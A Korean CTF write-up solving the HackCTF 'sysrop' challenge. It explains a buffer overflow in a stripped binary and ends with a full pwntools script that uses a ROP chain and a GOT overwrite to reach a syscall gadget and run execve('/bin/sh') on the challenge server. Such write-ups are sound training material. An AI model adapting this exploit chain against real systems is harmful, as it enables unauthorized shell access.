[HAckCTF] sysrop 풀이
1. checksec
64bit 파일이고 Patial RELRO와 NX가 걸려있다. 주어진 바이너리 파일 외에 libc.so.6 파일이 있는 것을 보아 libc.so.6 파일을 사용하여 문제를 푸는 것 같다.
2. IDA
read() 함수에서 buf의 크기보다 더 길게 입력받을 수 있기 때문에 bof가 발생한다.
3. Debugging
먼저 프로그램을 실행시켜보았다.
그냥 입력을 받고 종료된다.
file 명령어를 통해 확인해 본 결과 stripped된 파일이라는 것을 알 수 있었다.
stripped 되었다는 것은 실행에 필요한 부분을 제외한 다른 부분이 없는 것이고 사용자 정의 함수들이 sub_* 이런식으로 되어 있다고 한다. 그래서 심볼도 존재하지 않는다.
출력 함수가 없기 때문에 leak은 불가능하고, system 함수가 어디 있는지 확인하지도 못한다. 따라서 syscall rop를 해야한다.
또한 디버깅할 때 main을 직접 찾아야 하는데 gdb로 찾는 경우 다음과 같이 __libc_start_main에 bp를 걸고 프로그램을 실행시키면 인자로 main 주소를 받아오는 것을 확인할 수 있다.
스택 사이즈가 10이기 때문에 bof가 발생한다는 것을 확인할 수 있었다.
3. 구해야 할 목록
- "/bin/sh"를 넣을 쓰기 가능한 영역 -> bss
- read 함수의 got를 syscall로 overwriting
- syscall execve를 실행
- gadget - ppppr
syscall 가젯 찾기 - read 함수 내부
read 함수는 여러 syscall들로 구성이 되어 있다. 즉, read 함수를 사용한다는 것은 read 함수 내부에 syscall을 호출한다는 것과 같기 때문에 read 함수 내부에서 syscall 가젯을 찾을 수 있다.
프로그램을 실행시킨 뒤 인터럽트를 발생시키고 read 함수를 disassemble 했다.
이렇게 sysrop가 존재하는 것을 알 수 있다.
readelf -S ./sysrop 명령어를 통해 bss 영역의 주소를 알아냈다.
read 함수와 syscall을 위한 가젯으로 ppppr 형식의 가젯을 찾아 줄 것이다. read 함수에서 인자를 세 개 사용되므로 pppr 형식의 가젯도 찾아 주었다.
Exploit Method
- read 함수로 bss영역에 /bin/sh를 저장한다.
- read 함수 내부에 있는 syscall 주소를 read_got에 덮어씌워서 바로 syscall이 실행되게끔 한다.
- rax 값을 exceve 호출할 수 있도록 59로 세팅하면서 첫 번쨰 인자로 /bin/sh 주소를 넘겨야 한다.
Exploit code
sleep()을 넣어 속도 조절 해주기!
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3024)
e = ELF('./sysrop')
read_plt = e.plt['read']
read_got = e.got['read']
print('read@plt : ' + hex(read_plt))
print('read@got : ' + hex(read_got))
bss = 0x601060
main = 0x4005f2
pppr = 0x4005eb
ppppr = 0x4005ea
binsh = "/bin/sh\x00"
#1. input /bin/sh
#read
payload = "A" * 0x10 + "B" * 0x8
payload += p64(pppr)
payload += p64(len(binsh))
payload += p64(0)
payload += p64(bss)
payload += p64(read_plt)
payload += p64(main)
p.send(payload)
p.send(binsh)
# 2. got overwriting
#read_got -> syscall
payload = "A" * 0x10 + "B" * 8
payload += p64(pppr)
payload += p64(1)
payload += p64(0)
payload += p64(read_got)
payload += p64(read_plt)
#3. syscall execve
payload += p64(ppppr)
payload += p64(59)
payload += p64(0)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)
p.send(payload)
sleep(0.5)
p.send("\x5e")
p.interactive()
결과!
성공적으로 flag를 얻을 수 있었다.